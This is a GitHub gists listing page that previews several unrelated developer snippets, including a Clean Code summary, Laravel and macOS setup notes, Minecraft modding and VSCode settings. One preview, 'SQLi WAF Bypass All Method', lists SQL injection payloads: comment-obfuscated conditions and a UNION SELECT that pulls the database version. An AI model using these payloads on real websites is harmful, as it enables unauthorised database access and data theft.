Skip to content

Instantly share code, notes, and snippets.

@wojteklu
wojteklu / clean_code.md
Last active April 25, 2024 12:09
Summary of 'Clean code' by Robert C. Martin

Code is clean if it can be understood easily – by everyone on the team. Clean code can be read and enhanced by a developer other than its original author. With understandability comes readability, changeability, extensibility and maintainability.


General rules

  1. Follow standard conventions.
  2. Keep it simple stupid. Simpler is always better. Reduce complexity as much as possible.
  3. Boy scout rule. Leave the campground cleaner than you found it.
  4. Always find root cause. Always look for the root cause of a problem.

Design rules

@tobyselway
tobyselway / laravel_setup.md
Last active April 25, 2024 12:07
Initial Setup for Laravel Projects

Initial Setup

1. Clone the repository

Find a location on your computer where you want to store the project. A directory made for projects is generally a good choice.

Launch a bash console there and clone the project.

git clone https://github.com/organization/project.git

2. cd into the project

@u-ndefine
u-ndefine / 50_lines.pde
Last active April 25, 2024 12:07
Sketch of my generative art, "50 Lines"
float decel(float x) { // as an easing function
return 1-(x-1)*(x-1);
}
void setup() {
background(255);
size(750,750,P2D);
PImage img = loadImage("image.png");
strokeWeight(2);
noFill();
@codeinthehole
codeinthehole / osx_bootstrap.sh
Last active April 25, 2024 12:05
Script to install stuff I want on a new OSX machine
#!/usr/bin/env bash
#
# Bootstrap script for setting up a new OSX machine
#
# This should be idempotent so it can be run multiple times.
#
# Some apps don't have a cask and so still need to be installed by hand. These
# include:
#
# - Twitter (app store)
@ChampionAsh5357
ChampionAsh5357 / 1204-1205-primer.md
Last active April 25, 2024 12:02
Minecraft 1.20.4 -> 1.20.5 Mod Migration Primer

Minecraft 1.20.4 -> 1.20.5 Mod Migration Primer

This is a high level, non-exhaustive overview on how to migrate your mod from to 1.20.4 from 1.20.5. This does not look at any specific mod loader, just the changes to the vanilla classes.

This primer is licensed under the Creative Commons Attribution 4.0 International, so feel free to use it as a reference and leave a link so that other readers can consume the primer.

If there's any incorrect or missing information, please leave a comment below. Thanks!

Pack Changes

@KlassenKonstantin
KlassenKonstantin / SharedTrans.kt
Last active April 25, 2024 12:01
Popup shared transition test
private val products = listOf(
Product("🍎", "Apples"),
Product("πŸͺ", "Cookies"),
Product("πŸ‰", "Watermelon"),
Product("🫐", "Blueberries"),
Product("🍊", "Oranges"),
Product("πŸ‘", "Peaches"),
Product("πŸ₯¦", "Broccoli"),
)
@tehseensagar
tehseensagar / gist:d82931fa8427b3b8a8825714b5b113c4
Last active April 25, 2024 12:00
SQLi WAF Bypass All Method
`-=[SQL injection Queries]=-
HOW TO SUCCESSFULLY INJECTING SQL INJECTION
[~] after id no. like id=1 +/*!and*/+1=0 [~]
EX: site.com?index.php?pageid=3 div+0 Union select 1,version(),3,4,5
+div+0
+div false
+Having+1=0+
@diego3g
diego3g / settings.json
Last active April 25, 2024 12:00
VSCode Settings (Updated)
{
"workbench.startupEditor": "newUntitledFile",
"editor.fontSize": 14,
"editor.lineHeight": 1.8,
"javascript.suggest.autoImports": true,
"javascript.updateImportsOnFileMove.enabled": "always",
"editor.rulers": [80, 120],
"extensions.ignoreRecommendations": true,
"typescript.tsserver.log": "off",
"files.associations": {
@6footfive
6footfive / index.html
Created April 25, 2024 11:54
React Smooth Section Navigator
<div id="root"></div>